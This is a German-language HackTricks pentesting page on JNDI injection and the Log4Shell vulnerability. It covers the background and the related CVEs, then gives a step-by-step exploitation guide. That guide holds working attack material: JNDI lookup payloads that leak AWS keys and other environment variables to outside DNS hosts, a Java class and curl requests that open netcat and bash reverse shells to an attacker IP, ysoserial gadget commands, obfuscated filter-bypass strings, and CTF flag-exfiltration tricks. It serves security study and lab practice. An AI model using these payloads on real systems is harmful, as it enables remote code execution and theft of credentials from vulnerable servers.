34 KiB
JNDI - Java Naming and Directory Interface & Log4Shell
Erlernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!
Andere Möglichkeiten, HackTricks zu unterstützen:
- Wenn Sie Ihr Unternehmen in HackTricks beworben sehen möchten oder HackTricks als PDF herunterladen möchten, überprüfen Sie die ABONNEMENTPLÄNE!
- Holen Sie sich das offizielle PEASS & HackTricks-Merchandise
- Entdecken Sie The PEASS Family, unsere Sammlung exklusiver NFTs
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @carlospolopm.
- Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repositories einreichen.
Try Hard Security Group
{% embed url="https://discord.gg/tryhardsecurity" %}
Grundlegende Informationen
JNDI, seit Ende der 1990er Jahre in Java integriert, dient als Verzeichnisdienst und ermöglicht es Java-Programmen, Daten oder Objekte über ein Namenssystem zu lokalisieren. Es unterstützt verschiedene Verzeichnisdienste über Service Provider Interfaces (SPIs), die den Datenabruf aus verschiedenen Systemen ermöglichen, einschließlich entfernter Java-Objekte. Zu den gängigen SPIs gehören CORBA COS, Java RMI Registry und LDAP.
JNDI Namensreferenz
Java-Objekte können mithilfe von JNDI-Namensreferenzen gespeichert und abgerufen werden, die in zwei Formen vorliegen:
- Referenzadressen: Gibt den Speicherort eines Objekts an (z. B. rmi://server/ref), was einen direkten Abruf von der angegebenen Adresse ermöglicht.
- Remote Factory: Verweist auf eine Remote-Factory-Klasse. Beim Zugriff wird die Klasse vom Remote-Standort heruntergeladen und instanziiert.
Dieser Mechanismus kann jedoch ausgenutzt werden, was potenziell zum Laden und Ausführen beliebigen Codes führen kann. Als Gegenmaßnahme:
- RMI:
java.rmi.server.useCodeabseOnly = true
standardmäßig ab JDK 7u21, was das Laden entfernter Objekte einschränkt. Ein Security Manager begrenzt weiterhin, was geladen werden kann. - LDAP:
com.sun.jndi.ldap.object.trustURLCodebase = false
standardmäßig ab JDK 6u141, 7u131, 8u121, blockiert die Ausführung von remote geladenen Java-Objekten. Wenn auftrue
gesetzt, ist eine Remote-Codeausführung ohne Aufsicht eines Security Managers möglich. - CORBA: Hat keine spezifische Eigenschaft, aber der Security Manager ist immer aktiv.
Der Naming Manager, der für das Auflösen von JNDI-Verknüpfungen verantwortlich ist, verfügt jedoch nicht über integrierte Sicherheitsmechanismen, was potenziell das Abrufen von Objekten aus beliebigen Quellen ermöglicht. Dies birgt ein Risiko, da RMI-, LDAP- und CORBA-Schutzmechanismen umgangen werden können, was zum Laden beliebiger Java-Objekte oder zur Ausnutzung vorhandener Anwendungskomponenten (Gadgets) führen kann, um bösartigen Code auszuführen.
Beispiele für angreifbare URLs sind:
- rmi://angreifer-server/bar
- ldap://angreifer-server/bar
- iiop://angreifer-server/bar
Trotz Schutzmaßnahmen bleiben Schwachstellen bestehen, hauptsächlich aufgrund des Mangels an Schutzmaßnahmen gegen das Laden von JNDI aus nicht vertrauenswürdigen Quellen und der Möglichkeit, bestehende Schutzmechanismen zu umgehen.
JNDI Beispiel
Selbst wenn Sie eine PROVIDER_URL
festgelegt haben, können Sie in einem Lookup eine andere angeben und darauf zugreifen: ctx.lookup("<vom Angreifer kontrollierte-URL>")
, und das ist es, was ein Angreifer ausnutzen wird, um beliebige Objekte von einem von ihm kontrollierten System zu laden.
CORBA-Übersicht
CORBA (Common Object Request Broker Architecture) verwendet eine Interoperable Object Reference (IOR), um entfernte Objekte eindeutig zu identifizieren. Diese Referenz enthält wesentliche Informationen wie:
- Typ-ID: Eindeutiger Bezeichner für eine Schnittstelle.
- Codebase: URL zum Abrufen der Stub-Klasse.
CORBA ist im Allgemeinen nicht anfällig. Die Sicherheit wird in der Regel sichergestellt durch:
- Installation eines Security Managers.
- Konfiguration des Security Managers, um Verbindungen zu potenziell bösartigen Codebasen zu ermöglichen. Dies kann durchgeführt werden durch:
- Socket-Berechtigung, z. B.
permissions java.net.SocketPermission "*:1098-1099", "connect";
. - Dateileseberechtigungen, entweder universell (
permission java.io.FilePermission "<<ALLE DATEIEN>>", "read";
) oder für bestimmte Verzeichnisse, in denen bösartige Dateien platziert werden könnten.
Einige Anbieterrichtlinien könnten jedoch nachsichtig sein und diese Verbindungen standardmäßig zulassen.
RMI-Kontext
Bei RMI (Remote Method Invocation) ist die Situation etwas anders. Wie bei CORBA ist das Herunterladen beliebiger Klassen standardmäßig eingeschränkt. Um RMI auszunutzen, müsste man in der Regel den Security Manager umgehen, was auch bei CORBA relevant ist.
LDAP
Zunächst müssen wir zwischen einer Suche und einem Lookup unterscheiden.
Eine Suche verwendet eine URL wie ldap://localhost:389/o=JNDITutorial
, um das JNDITutorial-Objekt von einem LDAP-Server zu finden und seine Attribute abzurufen.
Ein Lookup ist für Namensdienste gedacht, da wir das abrufen möchten, was an einen Namen gebunden ist.
Wenn die LDAP-Suche mit SearchControls.setReturningObjFlag() mit true
aufgerufen wurde, wird das zurückgegebene Objekt rekonstruiert.
Daher gibt es mehrere Möglichkeiten, diese Optionen anzugreifen.
Ein Angreifer kann LDAP-Datensätze manipulieren und Payloads einfügen, die in den Systemen, die sie sammeln, ausgeführt werden (sehr nützlich, um Dutzende von Maschinen zu kompromittieren, wenn Sie Zugriff auf den LDAP-Server haben). Eine andere Möglichkeit, dies auszunutzen, wäre beispielsweise ein MitM-Angriff in einer LDAP-Suche.
Wenn eine App eine JNDI-LDAP-URL auflösen kann, können Sie das LDAP steuern, das durchsucht wird, und Sie könnten den Exploit zurücksenden (log4shell).
Deserialisierungs-Exploit
Der Exploit wird serialisiert und wird deserialisiert.
Wenn trustURLCodebase
true
ist, kann ein Angreifer seine eigenen Klassen in der Codebase bereitstellen. Andernfalls müsste er Gadgets im Klassenpfad missbrauchen.
JNDI-Referenz-Exploit
Es ist einfacher, dieses LDAP mit JavaFactory-Referenzen anzugreifen:
Log4Shell-Schwachstelle
Die Schwachstelle wird in Log4j eingeführt, da es eine spezielle Syntax in Form von ${prefix:name}
unterstützt, wobei prefix
einer Reihe verschiedener Lookups entspricht, bei denen name
ausgewertet werden sollte. Zum Beispiel ist ${java:version}
die aktuelle laufende Java-Version.
LOG4J2-313 führte eine jndi
-Lookup-Funktion ein. Diese Funktion ermöglicht das Abrufen von Variablen über JNDI. Normalerweise wird der Schlüssel automatisch mit java:comp/env/
vorangestellt. Wenn der Schlüssel selbst jedoch ein ":" enthält, wird dieses Standardpräfix nicht angewendet.
Mit einem : im Schlüssel, wie in ${jndi:ldap://example.com/a}
, gibt es kein Präfix und der LDAP-Server wird für das Objekt abgefragt. Diese Lookups können sowohl in der Konfiguration von Log4j als auch beim Protokollieren von Zeilen verwendet werden.
Daher ist das einzige, was benötigt wird, um RCE zu erhalten, eine anfällige Version von Log4j, die vom Benutzer kontrollierte Informationen verarbeitet. Und da dies eine von Java-Anwendungen weit verbreitete Bibliothek ist, um Informationen zu protokollieren (auch für Internetanwendungen), war es sehr verbreitet, beispielsweise HTTP-Header zu protokollieren, die empfangen wurden, wie den User-Agent. Allerdings wird log4j nicht nur verwendet, um HTTP-Informationen zu protokollieren, sondern jegliche Eingabe und Daten, die der Entwickler angegeben hat.
Überblick über mit Log4Shell verbundene CVEs
CVE-2021-44228 [Kritisch]
Diese Schwachstelle ist ein kritischer unerwünschter Deserialisierungsfehler im log4j-core
-Komponenten, der Versionen von 2.0-beta9 bis 2.14.1 betrifft. Es ermöglicht Remote-Code-Ausführung (RCE), wodurch Angreifer Systeme übernehmen können. Das Problem wurde von Chen Zhaojun vom Alibaba Cloud Security Team gemeldet und betrifft verschiedene Apache-Frameworks. Die anfängliche Behebung in Version 2.15.0 war unvollständig. Sigma-Regeln zur Verteidigung sind verfügbar (Regel 1, Regel 2).
CVE-2021-45046 [Kritisch]
Ursprünglich als gering eingestuft, später jedoch auf kritisch hochgestuft, ist diese CVE eine Denial-of-Service (DoS)-Schwachstelle, die aus einer unvollständigen Behebung in Version 2.15.0 für CVE-2021-44228 resultiert. Sie betrifft nicht standardmäßige Konfigurationen und ermöglicht es Angreifern, DoS-Angriffe durch speziell präparierte Payloads auszuführen. Ein Tweet zeigt eine Umgehungsmethode auf. Das Problem ist in den Versionen 2.16.0 und 2.12.2 gelöst, indem Nachrichtensuchmuster entfernt und JNDI standardmäßig deaktiviert wurden.
CVE-2021-4104 [Hoch]
Diese CVE betrifft Log4j 1.x-Versionen in nicht standardmäßigen Konfigurationen, die JMSAppender
verwenden, und ist ein unerwünschter Deserialisierungsfehler. Für den 1.x-Zweig, der das Ende seines Lebenszyklus erreicht hat, steht keine Behebung zur Verfügung, und ein Upgrade auf log4j-core 2.17.0
wird empfohlen.
CVE-2021-42550 [Mäßig]
Diese Schwachstelle betrifft das Logback-Protokollierungsframework, einen Nachfolger von Log4j 1.x. Zuvor als sicher angesehen, wurde festgestellt, dass das Framework anfällig ist, und neuere Versionen (1.3.0-alpha11 und 1.2.9) wurden veröffentlicht, um das Problem zu beheben.
CVE-2021-45105 [Hoch]
Log4j 2.16.0 enthält eine DoS-Schwachstelle, was zur Veröffentlichung von log4j 2.17.0
zur Behebung der CVE führte. Weitere Details finden Sie im Bericht von BleepingComputer hier.
CVE-2021-44832
Diese CVE betrifft die log4j-Version 2.17 und erfordert, dass der Angreifer die Konfigurationsdatei von log4j kontrolliert. Es beinhaltet potenzielle willkürliche Codeausführung über einen konfigurierten JDBCAppender. Weitere Details finden Sie im Checkmarx-Blogbeitrag.
Log4Shell-Exploitation
Entdeckung
Diese Schwachstelle ist sehr einfach zu entdecken, wenn sie ungeschützt ist, da sie mindestens eine DNS-Anfrage an die Adresse sendet, die Sie in Ihrem Payload angeben. Daher Payloads wie:
${jndi:ldap://x${hostName}.L4J.lt4aev8pktxcq2qlpdr5qu5ya.canarytokens.com/a}
(unter Verwendung von canarytokens.com)${jndi:ldap://c72gqsaum5n94mgp67m0c8no4hoyyyyyn.interact.sh}
(unter Verwendung von interactsh)${jndi:ldap://abpb84w6lqp66p0ylo715m5osfy5mu.burpcollaborator.net}
(unter Verwendung von Burp Suite)${jndi:ldap://2j4ayo.dnslog.cn}
(unter Verwendung von dnslog)${jndi:ldap://log4shell.huntress.com:1389/hostname=${env:HOSTNAME}/fe47f5ee-efd7-42ee-9897-22d18976c520}
(unter Verwendung von huntress)
Beachten Sie, dass selbst wenn eine DNS-Anfrage empfangen wird, das nicht bedeutet, dass die Anwendung ausnutzbar ist (oder sogar verwundbar), Sie müssen versuchen, sie auszunutzen.
{% hint style="info" %} Denken Sie daran, dass zum Ausnutzen von Version 2.15 die Lokalehost-Überprüfungsumgehung hinzugefügt werden muss: ${jndi:ldap://127.0.0.1#...} {% endhint %}
Lokale Entdeckung
Suchen Sie nach lokalen verwundbaren Versionen der Bibliothek mit:
find / -name "log4j-core*.jar" 2>/dev/null | grep -E "log4j\-core\-(1\.[^0]|2\.[0-9][^0-9]|2\.1[0-6])"
Überprüfung
Einige der zuvor aufgelisteten Plattformen ermöglichen es Ihnen, einige variable Daten einzufügen, die protokolliert werden, wenn sie angefordert werden.
Dies kann sehr nützlich sein für 2 Dinge:
- Die Überprüfung der Schwachstelle
- Das Exfiltrieren von Informationen durch Ausnutzen der Schwachstelle
Zum Beispiel könnten Sie etwas anfordern wie:
oder wie ${
jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a}
und wenn eine DNS-Anfrage mit dem Wert der Umgebungsvariable empfangen wird, wissen Sie, dass die Anwendung anfällig ist.
Andere Informationen, die Sie versuchen könnten zu leaken:
${env:AWS_ACCESS_KEY_ID}
${env:AWS_CONFIG_FILE}
${env:AWS_PROFILE}
${env:AWS_SECRET_ACCESS_KEY}
${env:AWS_SESSION_TOKEN}
${env:AWS_SHARED_CREDENTIALS_FILE}
${env:AWS_WEB_IDENTITY_TOKEN_FILE}
${env:HOSTNAME}
${env:JAVA_VERSION}
${env:PATH}
${env:USER}
${hostName}
${java.vendor}
${java:os}
${java:version}
${log4j:configParentLocation}
${sys:PROJECT_HOME}
${sys:file.separator}
${sys:java.class.path}
${sys:java.class.path}
${sys:java.class.version}
${sys:java.compiler}
${sys:java.ext.dirs}
${sys:java.home}
${sys:java.io.tmpdir}
${sys:java.library.path}
${sys:java.specification.name}
${sys:java.specification.vendor}
${sys:java.specification.version}
${sys:java.vendor.url}
${sys:java.vendor}
${sys:java.version}
${sys:java.vm.name}
${sys:java.vm.specification.name}
${sys:java.vm.specification.vendor}
${sys:java.vm.specification.version}
${sys:java.vm.vendor}
${sys:java.vm.version}
${sys:line.separator}
${sys:os.arch}
${sys:os.name}
${sys:os.version}
${sys:path.separator}
${sys:user.dir}
${sys:user.home}
${sys:user.name}
Any other env variable name that could store sensitive information
RCE-Information
{% hint style="info" %}
Hosts, die auf JDK-Versionen über 6u141, 7u131 oder 8u121 laufen, sind gegen den LDAP-Klassenladungsangriffsvektor geschützt. Dies liegt an der standardmäßigen Deaktivierung von com.sun.jndi.ldap.object.trustURLCodebase
, die verhindert, dass JNDI einen Remote-Codebase über LDAP lädt. Es ist jedoch wichtig zu beachten, dass diese Versionen nicht gegen den Deserialisierungsangriffsvektor geschützt sind.
Für Angreifer, die darauf abzielen, diese höheren JDK-Versionen auszunutzen, ist es notwendig, ein vertrauenswürdiges Gadget innerhalb der Java-Anwendung zu nutzen. Tools wie ysoserial oder JNDIExploit werden oft zu diesem Zweck verwendet. Im Gegensatz dazu ist das Ausnutzen von niedrigeren JDK-Versionen relativ einfacher, da diese Versionen manipuliert werden können, um beliebige Klassen zu laden und auszuführen.
Für weitere Informationen (wie Einschränkungen bei RMI- und CORBA-Vektoren) überprüfen Sie den vorherigen Abschnitt JNDI Naming Reference oder https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/ {% endhint %}
RCE - Marshalsec mit benutzerdefiniertem Payload
Sie können dies in der THM-Box testen: https://tryhackme.com/room/solar
Verwenden Sie das Tool marshalsec (Jar-Version verfügbar hier). Dieser Ansatz richtet einen LDAP-Weiterleitungsserver ein, um Verbindungen zu einem sekundären HTTP-Server umzuleiten, auf dem der Exploit gehostet wird:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://<your_ip_http_server>:8000/#Exploit"
Um das Ziel aufzufordern, einen Reverse-Shell-Code zu laden, erstellen Sie eine Java-Datei mit dem Namen Exploit.java
und dem folgenden Inhalt:
public class Exploit {
static {
try {
java.lang.Runtime.getRuntime().exec("nc -e /bin/bash YOUR.ATTACKER.IP.ADDRESS 9999");
} catch (Exception e) {
e.printStackTrace();
}
}
}
Kompilieren Sie die Java-Datei in eine Klassendatei mit: javac Exploit.java -source 8 -target 8
. Starten Sie anschließend einen HTTP-Server im Verzeichnis, das die Klassendatei enthält, mit: python3 -m http.server
. Stellen Sie sicher, dass der marshalsec LDAP-Server auf diesen HTTP-Server verweist.
Lösen Sie die Ausführung der Exploit-Klasse auf dem anfälligen Webserver aus, indem Sie ein Payload wie folgt versenden:
${jndi:ldap://<LDAP_IP>:1389/Exploit}
Hinweis: Dieser Exploit basiert auf der Konfiguration von Java, die das Laden von Remote-Codebasen über LDAP ermöglicht. Wenn dies nicht zulässig ist, erwägen Sie, eine vertrauenswürdige Klasse für die Ausführung beliebigen Codes zu nutzen.
RCE - JNDIExploit
{% hint style="info" %} Beachten Sie, dass der Autor dieses Projekts aus unbekannten Gründen nach der Entdeckung von Log4Shell von GitHub entfernt hat. Sie können eine zwischengespeicherte Version unter https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2 finden. Wenn Sie jedoch die Entscheidung des Autors respektieren möchten, verwenden Sie eine andere Methode, um diese Schwachstelle auszunutzen.
Außerdem finden Sie den Quellcode nicht im Wayback Machine, daher analysieren Sie entweder den Quellcode oder führen Sie das Jar-Datei aus, wissend, dass Sie nicht wissen, was Sie ausführen. {% endhint %}
Für dieses Beispiel können Sie einfach diesen anfälligen Webserver für Log4Shell auf Port 8080 ausführen: https://github.com/christophetd/log4shell-vulnerable-app (in der README finden Sie, wie Sie ihn ausführen können). Diese anfällige App protokolliert mit einer anfälligen Version von Log4Shell den Inhalt des HTTP-Anforderungs-Headers X-Api-Version.
Dann können Sie die JNDIExploit Jar-Datei herunterladen und mit folgendem Befehl ausführen:
wget https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip
unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.17.0.1 -p 8888 # Use your private IP address and a port where the victim will be able to access
Nachdem Sie den Code nur ein paar Minuten lang gelesen haben, in com.feihong.ldap.LdapServer und com.feihong.ldap.HTTPServer können Sie sehen, wie die LDAP- und HTTP-Server erstellt werden. Der LDAP-Server wird verstehen, welches Payload bereitgestellt werden muss, und das Opfer zum HTTP-Server umleiten, der das Exploit bereitstellt.
In com.feihong.ldap.gadgets finden Sie einige spezifische Gadgets, die verwendet werden können, um die gewünschte Aktion auszuführen (potenziell beliebigen Code ausführen). Und in com.feihong.ldap.template können Sie die verschiedenen Vorlagenklassen sehen, die die Exploits generieren werden.
Sie können alle verfügbaren Exploits mit java -jar JNDIExploit-1.2-SNAPSHOT.jar -u
sehen. Einige nützliche sind:
ldap://null:1389/Basic/Dnslog/[domain]
ldap://null:1389/Basic/Command/Base64/[base64_encoded_cmd]
ldap://null:1389/Basic/ReverseShell/[ip]/[port]
# But there are a lot more
Also, in unserem Beispiel haben wir bereits die anfällige Docker-App am Laufen. Um sie anzugreifen:
# Create a file inside of th vulnerable host:
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'
# Get a reverse shell (only unix)
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/ReverseShell/172.17.0.1/4444}'
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/bmMgMTcyLjE3LjAuMSA0NDQ0IC1lIC9iaW4vc2gK}'
RCE - JNDI-Exploit-Kit
Beim Senden der Angriffe sehen Sie einige Ausgaben im Terminal, in dem Sie JNDIExploit-1.2-SNAPSHOT.jar ausgeführt haben.
Denken Sie daran, java -jar JNDIExploit-1.2-SNAPSHOT.jar -u
zu überprüfen, um andere Ausbeutungsoptionen zu sehen. Darüber hinaus können Sie bei Bedarf den Port der LDAP- und HTTP-Server ändern.
Auf ähnliche Weise wie beim vorherigen Exploit können Sie versuchen, JNDI-Exploit-Kit zu verwenden, um diese Schwachstelle auszunutzen.
Sie können die URLs generieren, die an das Opfer gesendet werden sollen, indem Sie ausführen:
# Get reverse shell in port 4444 (only unix)
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -S 172.17.0.1:4444
# Execute command
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -C "touch /tmp/log4shell"
Dieser Angriff mit einem benutzerdefinierten generierten Java-Objekt funktioniert in Laboren wie dem THM Solar Room. Allerdings wird dies normalerweise nicht funktionieren (da Java standardmäßig nicht so konfiguriert ist, dass es Remote-Codebasen über LDAP lädt), weil es keine vertrauenswürdige Klasse missbraucht, um beliebigen Code auszuführen.
RCE - JNDI-Injection-Exploit-Plus
https://github.com/cckuailong/JNDI-Injection-Exploit-Plus ist ein weiteres Tool zur Generierung von funktionsfähigen JNDI-Links und bietet Hintergrunddienste durch Starten eines RMI-Servers, LDAP-Servers und HTTP-Servers.\
RCE - ysoserial & JNDI-Exploit-Kit
Diese Option ist wirklich nützlich, um Java-Versionen anzugreifen, die nur bestimmten Klassen vertrauen und nicht jedem. Daher wird ysoserial verwendet, um Serialisierungen vertrauenswürdiger Klassen zu generieren, die als Gadgets verwendet werden können, um beliebigen Code auszuführen (die von ysoserial missbrauchte vertrauenswürdige Klasse muss vom Opfer-Javaprogramm verwendet werden, damit der Exploit funktioniert).
Mit ysoserial oder ysoserial-modified können Sie den Deserialisierungs-Exploit erstellen, der von JNDI heruntergeladen wird:
# Rev shell via CommonsCollections5
java -jar ysoserial-modified.jar CommonsCollections5 bash 'bash -i >& /dev/tcp/10.10.14.10/7878 0>&1' > /tmp/cc5.ser
Verwenden Sie JNDI-Exploit-Kit, um JNDI-Links zu generieren, an denen das Exploit auf Verbindungen von anfälligen Maschinen wartet. Sie können verschiedene Exploits verwenden, die automatisch vom JNDI-Exploit-Kit generiert werden, oder sogar Ihre eigenen Deserialisierungspayloads (von Ihnen oder ysoserial) verwenden.
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 10.10.14.10:1389 -P /tmp/cc5.ser
Nun können Sie ganz einfach einen generierten JNDI-Link verwenden, um die Schwachstelle auszunutzen und eine Reverse-Shell zu erhalten, indem Sie sie an eine verwundbare Version von log4j senden: ${ldap://10.10.14.10:1389/generated}
Umgehungen
${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//attackerendpoint.com/}
${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://attackerendpoint.com/}
${${upper:j}ndi:${upper:l}${upper:d}a${lower:p}://attackerendpoint.com/}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://attackerendpoint.com/z}
${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attackerendpoint.com/}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://attackerendpoint.com/}
${${::-j}ndi:rmi://attackerendpoint.com/} //Notice the use of rmi
${${::-j}ndi:dns://attackerendpoint.com/} //Notice the use of dns
${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i"
Automatische Scanner
- https://github.com/fullhunt/log4j-scan
- https://github.com/adilsoybali/Log4j-RCE-Scanner
- https://github.com/silentsignal/burp-log4shell
- https://github.com/cisagov/log4j-scanner
- https://github.com/Qualys/log4jscanwin
- https://github.com/hillu/local-log4j-vuln-scanner
- https://github.com/logpresso/CVE-2021-44228-Scanner
- https://github.com/palantir/log4j-sniffer - Finde lokale verwundbare Bibliotheken
Labore zum Testen
- LogForge HTB-Maschine
- Try Hack Me Solar-Raum
- https://github.com/leonjza/log4jpwn
- https://github.com/christophetd/log4shell-vulnerable-app
Nach-Log4Shell-Exploitation
In diesem CTF-Writeup wird gut erklärt, wie es potenziell möglich ist, einige Funktionen von Log4J zu missbrauchen.
Die Sicherheitsseite von Log4j enthält einige interessante Sätze:
Ab Version 2.16.0 (für Java 8) wurde die Funktion für Nachrichtenabfragen vollständig entfernt. Abfragen in der Konfiguration funktionieren weiterhin. Darüber hinaus deaktiviert Log4j jetzt standardmäßig den Zugriff auf JNDI. JNDI-Abfragen in der Konfiguration müssen jetzt explizit aktiviert werden.
Ab Version 2.17.0 (und 2.12.3 und 2.3.1 für Java 7 und Java 6) werden nur Zeichenfolgenabfragen in der Konfiguration rekursiv erweitert; in jeder anderen Verwendung wird nur die oberste Ebene der Abfrage aufgelöst, und alle verschachtelten Abfragen werden nicht aufgelöst.
Das bedeutet, dass Sie standardmäßig jeden jndi
-Exploit vergessen können. Darüber hinaus müssen Sie sie konfigurieren, um rekursive Abfragen durchzuführen.
Zum Beispiel war dies in diesem CTF in der Datei log4j2.xml konfiguriert:
<Console name="Console" target="SYSTEM_ERR">
<PatternLayout pattern="%d{HH:mm:ss.SSS} %-5level %logger{36} executing ${sys:cmd} - %msg %n">
</PatternLayout>
</Console>
Umgebungs-Lookups
In diesem CTF kontrollierte der Angreifer den Wert von ${sys:cmd}
und musste die Flagge aus einer Umgebungsvariable exfiltrieren.
Wie auf dieser Seite in vorherigen Payloads zu sehen ist, gibt es verschiedene Möglichkeiten, auf Umgebungsvariablen zuzugreifen, wie z.B. ${env:FLAG}
. In diesem CTF war dies nutzlos, könnte aber in anderen realen Szenarien nützlich sein.
Exfiltration in Ausnahmen
Im CTF konnte man nicht auf stderr der Java-Anwendung mit Log4J zugreifen, aber Log4J Ausnahmen werden nach stdout gesendet, was in der Python-App gedruckt wurde. Das bedeutete, dass wir durch Auslösen einer Ausnahme auf den Inhalt zugreifen konnten. Eine Ausnahme zur Exfiltration der Flagge war: ${java:${env:FLAG}}
. Dies funktioniert, weil ${java:CTF{blahblah}}
nicht existiert und eine Ausnahme mit dem Wert der Flagge angezeigt wird:
Konvertierungsmuster Ausnahmen
Nur zur Erwähnung, Sie könnten auch neue Konvertierungsmuster einschleusen und Ausnahmen auslösen, die in stdout
protokolliert werden. Zum Beispiel:
Dies war nicht nützlich, um Daten innerhalb der Fehlermeldung zu exfiltrieren, da der Lookup nicht vor dem Konvertierungsmuster gelöst wurde, aber es könnte für andere Dinge wie Erkennung nützlich sein.
Konvertierungsmuster Regexes
Es ist jedoch möglich, einige Konvertierungsmuster zu verwenden, die Regexes unterstützen, um Informationen aus einem Lookup durch Verwendung von Regexes und Ausnutzung von binärer Suche oder zeitbasierten Verhaltensweisen zu exfiltrieren.
- Binäre Suche über Ausnahmemeldungen
Das Konvertierungsmuster %replace
kann verwendet werden, um Inhalte aus einem String zu ersetzen, auch unter Verwendung von Regexes. Es funktioniert so: replace{pattern}{regex}{substitution}
Durch Ausnutzen dieses Verhaltens könnten Sie eine Ausnahme auslösen lassen, wenn das Regex irgendetwas im String gefunden hat (und keine Ausnahme, wenn es nicht gefunden wurde), wie folgt:
%replace{${env:FLAG}}{^CTF.*}{${error}}
# The string searched is the env FLAG, the regex searched is ^CTF.*
## and ONLY if it's found ${error} will be resolved with will trigger an exception
- Zeitbasiert
Wie bereits im vorherigen Abschnitt erwähnt wurde, unterstützt %replace
Regexes. Es ist also möglich, Payload von der ReDoS-Seite zu verwenden, um bei Auffinden der Flagge einen Timeout zu verursachen.
Beispielsweise würde ein Payload wie %replace{${env:FLAG}}{^(?=CTF)((.
)
)*salt$}{asd}
einen Timeout in diesem CTF auslösen.
In diesem Writeup wurde anstelle eines ReDoS-Angriffs ein Amplifikationsangriff verwendet, um einen Zeitunterschied in der Antwort zu verursachen:
/%replace{ %replace{ %replace{ %replace{ %replace{ %replace{ %replace{${ENV:FLAG}}{CTF\{" + flagGuess + ".*\}}{#############################} }{#}{######################################################} }{#}{######################################################} }{#}{######################################################} }{#}{######################################################} }{#}{######################################################} }{#}{######################################################} }{#}{######################################################}
Wenn die Flagge mit
flagGuess
beginnt, wird die gesamte Flagge durch 29#
-s ersetzt (Ich habe dieses Zeichen verwendet, weil es wahrscheinlich nicht Teil der Flagge ist). Jedes der resultierenden 29#
-s wird dann durch 54#
-s ersetzt. Dieser Prozess wird 6 Mal wiederholt, was zu insgesamt29*54*54^6* =`` ``
96816014208
#
-s führt!Das Ersetzen so vieler
#
-s wird den 10-Sekunden-Timeout der Flask-Anwendung auslösen, was wiederum dazu führt, dass der HTTP-Statuscode 500 an den Benutzer gesendet wird. (Wenn die Flagge nicht mitflagGuess
beginnt, erhalten wir einen Nicht-500-Statuscode)
Referenzen
- https://blog.cloudflare.com/inside-the-log4j2-vulnerability-cve-2021-44228/
- https://www.bleepingcomputer.com/news/security/all-log4j-logback-bugs-we-know-so-far-and-why-you-must-ditch-215/
- https://www.youtube.com/watch?v=XG14EstTgQ4
- https://tryhackme.com/room/solar
- https://www.youtube.com/watch?v=Y8a5nB-vy78
- https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf
- https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/
- https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/
Try Hard Security Group
{% embed url="https://discord.gg/tryhardsecurity" %}
Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!
Andere Möglichkeiten, HackTricks zu unterstützen:
- Wenn Sie Ihr Unternehmen in HackTricks beworben sehen möchten oder HackTricks im PDF-Format herunterladen möchten, überprüfen Sie die ABONNEMENTPLÄNE!
- Holen Sie sich das offizielle PEASS & HackTricks-Merch
- Entdecken Sie The PEASS Family, unsere Sammlung exklusiver NFTs
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @carlospolopm.
- Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud Github-Repositories einreichen.